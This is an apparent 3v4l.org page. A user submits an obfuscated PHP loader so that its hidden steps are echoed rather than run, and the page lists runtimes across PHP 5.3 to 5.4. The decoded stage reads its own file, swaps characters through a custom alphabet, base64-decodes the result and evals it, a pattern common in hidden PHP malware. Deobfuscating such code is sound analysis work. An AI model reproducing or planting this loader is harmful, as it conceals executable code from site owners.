3v4l.org

run code in 300+ PHP versions simultaneously
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16}; $GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5}; $GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15}; $GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}; $GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3}; $GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16}; $GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; echo $GLOBALS['O0O000O00']; echo "\n"; echo $GLOBALS['O0O00OO00']; echo "\n"; echo $GLOBALS['OOO00000O']; echo "\n"; echo $GLOBALS['OOO0000O0']; echo "\n"; echo "ANOTHER BASE64 TEXT :" echo "\n"; echo base64_decode('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU3Zik7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'); $OOO0O0O00=__FILE__; $OO00O0000=0x26378; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.150.0200.06212.37
5.4.140.0150.04612.06
5.4.130.0220.05112.05
5.4.120.0150.04512.01
5.4.110.0200.04112.00
5.4.100.0160.04412.00
5.4.90.0230.06512.00
5.4.80.0180.05012.00
5.4.70.0160.04412.00
5.4.60.0200.05812.00
5.4.50.0160.04212.00
5.4.40.0210.05711.99
5.4.30.0110.04711.99
5.4.20.0180.03911.98
5.4.10.0150.04211.99
5.4.00.0180.05011.48
5.3.250.0090.03712.72
5.3.240.0130.04812.72
5.3.230.0160.04612.71
5.3.220.0270.06212.68
5.3.210.0140.04612.68
5.3.200.0180.04112.68
5.3.190.0130.04812.67
5.3.180.0200.04312.67
5.3.170.0160.05312.67
5.3.160.0150.04412.67
5.3.150.0300.06012.67
5.3.140.0180.04312.66
5.3.130.0180.04312.66
5.3.120.0180.05712.66
5.3.110.0170.04312.66
5.3.100.0150.05712.12
5.3.90.0200.06212.08
5.3.80.0150.04612.08
5.3.70.0160.04612.07
5.3.60.0190.04212.07
5.3.50.0130.04612.00
5.3.40.0230.05812.00
5.3.30.0150.04211.96
5.3.20.0220.05511.74
5.3.10.0200.05611.71
5.3.00.0190.04811.68

preferences:
140.18 ms | 1394 KiB | 7 Q